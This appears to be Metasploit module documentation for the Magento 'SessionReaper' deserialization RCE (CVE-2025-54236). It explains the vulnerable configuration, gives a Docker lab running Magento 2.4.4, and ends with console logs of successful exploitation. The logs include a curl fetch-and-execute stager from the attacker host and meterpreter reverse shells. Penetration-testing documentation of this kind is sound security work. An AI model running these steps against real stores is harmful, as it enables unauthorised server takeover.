documentation/modules/exploit/multi/http/magento_sessionreaper.md
Magento/Adobe Commerce is a popular e-commerce platform written in PHP. A vulnerability exists in Magento 2.x that allows an unauthenticated user to gain arbitrary code execution through nested deserialization and unauthenticated file upload.
This vulnerability (CVE-2025-54236, also known as SessionReaper) affects Magento 2.x instances using file-based session
storage. Note: File-based session storage is not enabled by default in Magento. The target must be explicitly
configured to use file-based sessions (typically via app/etc/env.php with 'session' => ['save' => 'files']) for this
vulnerability to be exploitable. By default, Magento uses database or Redis session storage.
Exploit limitations: In production environments, the upload directory (media/customer_address/) where the malicious
session file is uploaded is generally configured as read-only, which prevents successful exploitation. This exploit
therefore has limited applicability in hardened production environments. The module was specifically tested against
Magento 2.4.4.
This module exploits CVE-2025-54236 (SessionReaper) in Magento/Adobe Commerce. The vulnerability allows unauthenticated remote code execution through nested deserialization and unauthenticated file upload.
The exploit chain:
/customer/address_file/upload/rest/default/V1/guest-carts/{cart_id}/orderPatched versions return 400 Bad Request instead of processing the payload.
Create a directory for the lab environment:
mkdir -p test/magento
cd test/magento
Create docker-compose.yml:
version: '3.8'
services:
app:
build:
context: .
dockerfile: Dockerfile
args:
- MYSQL_HOST=db
- ELASTICSEARCH_HOST=elasticsearch
container_name: magento-test
ports:
- "8082:80"
environment:
- MYSQL_HOST=db
- MYSQL_DATABASE=magento
- MYSQL_USER=magento
- MYSQL_PASSWORD=magento
- ELASTICSEARCH_HOST=elasticsearch
- ELASTICSEARCH_PORT=9200
- PHP_MEMORY_LIMIT=2G
volumes:
- appdata:/var/www/html
- sessions:/var/www/html/var/session
depends_on:
- db
- elasticsearch
restart: unless-stopped
db:
image: mariadb:10.4
container_name: magento-db
environment:
- MYSQL_ROOT_PASSWORD=root
- MYSQL_DATABASE=magento
- MYSQL_USER=magento
- MYSQL_PASSWORD=magento
volumes:
- dbdata:/var/lib/mysql
restart: unless-stopped
elasticsearch:
image: docker.elastic.co/elasticsearch/elasticsearch:7.17.0
container_name: magento-elasticsearch
environment:
- discovery.type=single-node
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
- xpack.security.enabled=false
volumes:
- esdata:/usr/share/elasticsearch/data
restart: unless-stopped
volumes:
appdata:
sessions:
dbdata:
esdata:
Create Dockerfile:
FROM php:7.4-apache
# Install system dependencies
RUN apt-get update && apt-get install -y \
libxml2-dev \
libxslt-dev \
libzip-dev \
libonig-dev \
libfreetype6-dev \
libjpeg62-turbo-dev \
libpng-dev \
libicu-dev \
git \
unzip \
curl \
wget \
default-mysql-client \
&& rm -rf /var/lib/apt/lists/*
# Install PHP extensions
RUN docker-php-ext-configure gd --with-freetype --with-jpeg \
&& docker-php-ext-install -j$(nproc) \
bcmath \
dom \
gd \
intl \
mbstring \
mysqli \
opcache \
pdo_mysql \
soap \
xsl \
zip \
sockets
# Install Composer
RUN curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer
# Enable mod_rewrite
RUN a2enmod rewrite
# Create installation script inline
RUN cat > /install-magento.sh << 'INSTALL_EOF'
#!/bin/bash
set -e
echo "[*] Downloading Magento 2.4.4 (vulnerable to CVE-2025-54236)..."
cd /tmp
rm -rf magento2-2.4.4 magento.tar.gz
wget -q https://github.com/magento/magento2/archive/2.4.4.tar.gz -O magento.tar.gz
echo "[*] Extracting Magento..."
tar -xzf magento.tar.gz
echo "[*] Copying Magento files to /var/www/html..."
cd /var/www/html
for item in * .*; do
[ "$item" = "." ] || [ "$item" = ".." ] || [ "$item" = "var" ] && continue
rm -rf "$item" 2>/dev/null || true
done
cp -r /tmp/magento2-2.4.4/* /var/www/html/
cp -r /tmp/magento2-2.4.4/.* /var/www/html/ 2>/dev/null || true
rm -rf /tmp/magento.tar.gz /tmp/magento2-2.4.4
cd /var/www/html
echo "[*] Setting permissions..."
chown -R www-data:www-data /var/www/html
chmod -R 755 /var/www/html
echo "[*] Installing Composer dependencies..."
composer self-update --1 2>/dev/null || true
php -d memory_limit=2G /usr/local/bin/composer install --no-dev --optimize-autoloader --no-interaction --ignore-platform-reqs 2>&1 | tail -30 || echo "[!] Composer install had issues"
php -d memory_limit=2G /usr/local/bin/composer update --no-dev --no-interaction --ignore-platform-reqs 2>&1 | tail -30 || true
echo "[*] Installing Magento..."
php -d memory_limit=2G bin/magento setup:install \
--base-url=http://127.0.0.1:8082/ \
--db-host=db \
--db-name=magento \
--db-user=magento \
--db-password=magento \
--admin-firstname=Admin \
--admin-lastname=User \
[email protected] \
--admin-user=admin \
--admin-password=Admin123! \
--language=en_US \
--currency=USD \
--timezone=America/New_York \
--use-rewrites=1 \
--backend-frontname=admin \
--search-engine=elasticsearch7 \
--elasticsearch-host=elasticsearch \
--elasticsearch-port=9200 2>&1
if [ -f /var/www/html/app/etc/env.php ]; then
echo "[*] Configuring file-based sessions..."
php -r "\$env = include 'app/etc/env.php'; \$env['session'] = ['save' => 'files']; file_put_contents('app/etc/env.php', '<?php return ' . var_export(\$env, true) . ';');"
echo "[*] Compiling Magento code..."
php -d memory_limit=2G bin/magento setup:di:compile 2>&1 | grep -E "(Compilation|SUCCESS|complete)" || echo "[!] Compilation output filtered"
echo "[*] Setting final permissions..."
chmod 644 /var/www/html/app/etc/env.php
chown www-data:www-data /var/www/html/app/etc/env.php
mkdir -p /var/www/html/var/session
chmod -R 777 /var/www/html/var
chown -R www-data:www-data /var/www/html/var
echo "[*] Magento installation complete!"
else
echo "[!] Installation failed - env.php not found"
exit 1
fi
INSTALL_EOF
RUN chmod +x /install-magento.sh
# Create entrypoint script inline
RUN cat > /entrypoint.sh << 'ENTRYPOINT_EOF'
#!/bin/bash
set -e
echo "[*] Starting Apache..."
apache2-foreground &
APACHE_PID=$!
echo "[*] Waiting for MySQL..."
until mysqladmin ping -h db -u magento -pmagento --silent 2>/dev/null; do
echo "[*] MySQL not ready, waiting..."
sleep 2
done
echo "[*] MySQL ready!"
echo "[*] Waiting for Elasticsearch..."
until curl -s http://elasticsearch:9200 >/dev/null 2>&1; do
echo "[*] Elasticsearch not ready, waiting..."
sleep 2
done
echo "[*] Elasticsearch ready!"
if [ ! -f /var/www/html/app/etc/env.php ]; then
echo "[*] Magento not found, installing..."
/install-magento.sh
echo "[*] Installation script completed"
else
echo "[*] Magento already installed"
fi
echo "[*] Ensuring session directory exists..."
mkdir -p /var/www/html/var/session
chmod -R 777 /var/www/html/var
chown -R www-data:www-data /var/www/html/var
echo "[*] ========================================"
echo "[*] Magento ready: http://127.0.0.1:8082/"
echo "[*] Admin: http://127.0.0.1:8082/admin/ (admin/Admin123!)"
echo "[*] ========================================"
wait $APACHE_PID
ENTRYPOINT_EOF
RUN chmod +x /entrypoint.sh
# Set working directory
WORKDIR /var/www/html
# Configure PHP memory limits
RUN echo "memory_limit = 2G" >> /usr/local/etc/php/conf.d/docker-php-memory.ini && \
echo "upload_max_filesize = 64M" >> /usr/local/etc/php/conf.d/docker-php-memory.ini && \
echo "post_max_size = 64M" >> /usr/local/etc/php/conf.d/docker-php-memory.ini
EXPOSE 80
ENTRYPOINT ["/entrypoint.sh"]
Build and start the containers:
docker compose up -d --build
Wait for the services to be ready (MySQL and Elasticsearch). The entrypoint script will automatically:
Access Magento:
The lab uses:
use exploit/multi/http/magento_sessionreaperset RHOSTS <target_ip>set RPORT 8082 (or the appropriate port)set TARGET 1 (for Unix/Linux Command Shell)set payload cmd/linux/http/x64/meterpreter/reverse_tcpset LHOST <your_ip>set LPORT 4444runThis module does not require any additional options beyond the standard HTTP client options.
msf > use exploit/multi/http/magento_sessionreaper
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf exploit(multi/http/magento_sessionreaper) > set RHOSTS 172.21.0.1
RHOSTS => 172.21.0.1
msf exploit(multi/http/magento_sessionreaper) > set RPORT 8082
RPORT => 8082
msf exploit(multi/http/magento_sessionreaper) > set TARGET 0
TARGET => 0
msf exploit(multi/http/magento_sessionreaper) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/http/magento_sessionreaper) > set LHOST 172.21.0.1
LHOST => 172.21.0.1
msf exploit(multi/http/magento_sessionreaper) > set LPORT 4444
LPORT => 4444
msf exploit(multi/http/magento_sessionreaper) > set VERBOSE true
VERBOSE => true
msf exploit(multi/http/magento_sessionreaper) > run
[*] Started reverse TCP handler on 172.21.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Target returned 500 error with SessionHandler
[*] Generating Guzzle/FW1 deserialization payload...
[*] Uploading session file with Guzzle payload...
[*] Uploading malicious session file: sess_73351c2463bf78124de49e6c5fe6804a
[*] Triggering deserialization with savePath: media/customer_address/s/e
[+] Deserialization triggered (HTTP 404)
[*] Executing payload at: /pub/AbfsP.php
[*] Sending stage (41224 bytes) to 172.21.0.4
[*] Meterpreter session 1 opened (172.21.0.1:4444 -> 172.21.0.4:60798) at 2025-11-24 20:55:44 +0100
meterpreter > sysinfo
Computer : 93d562876bca
OS : Linux 93d562876bca 6.14.0-115036-tuxedo #36~24.04.1tux1 SMP PREEMPT_DYNAMIC Mon Nov 3 17:34:07 UTC 2025 x86_64
Architecture : x64
System Language : C
Meterpreter : php/linux
meterpreter > exit
[*] Shutting down session: 1
[*] 172.21.0.1 - Meterpreter session 1 closed. Reason: User exit
msf exploit(multi/http/magento_sessionreaper) > set TARGET 1
TARGET => 1
msf exploit(multi/http/magento_sessionreaper) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/http/magento_sessionreaper) > set LHOST 172.21.0.1
LHOST => 172.21.0.1
msf exploit(multi/http/magento_sessionreaper) > set LPORT 4444
LPORT => 4444
msf exploit(multi/http/magento_sessionreaper) > set VERBOSE true
VERBOSE => true
msf exploit(multi/http/magento_sessionreaper) > run
[*] Command to run on remote host: curl -so ./tVLJyRtY http://172.21.0.1:8080/jA-UlkUXeCwJQV_LW9doGw;chmod +x ./tVLJyRtY;./tVLJyRtY&
[*] Fetch handler listening on 172.21.0.1:8080
[*] HTTP server started
[*] Adding resource /jA-UlkUXeCwJQV_LW9doGw
[*] Started reverse TCP handler on 172.21.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Target returned 500 error with SessionHandler
[*] Generating Guzzle/FW1 deserialization payload...
[*] Uploading session file with Guzzle payload...
[*] Uploading malicious session file: sess_f96806648d613cac927613576dd37dc8
[*] Triggering deserialization with savePath: media/customer_address/s/e
[+] Deserialization triggered (HTTP 404)
[*] Executing payload at: /pub/AGD3.php
[*] Client 172.21.0.4 requested /jA-UlkUXeCwJQV_LW9doGw
[*] Sending payload to 172.21.0.4 (curl/7.74.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.21.0.4
[*] Meterpreter session 2 opened (172.21.0.1:4444 -> 172.21.0.4:47580) at 2025-11-24 20:56:19 +0100
meterpreter > sysinfo
Computer : 172.21.0.4
OS : Debian 11.5 (Linux 6.14.0-115036-tuxedo)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
msf exploit(multi/http/magento_sessionreaper) > check
[+] The target appears to be vulnerable. Target returned 500 error with SessionHandler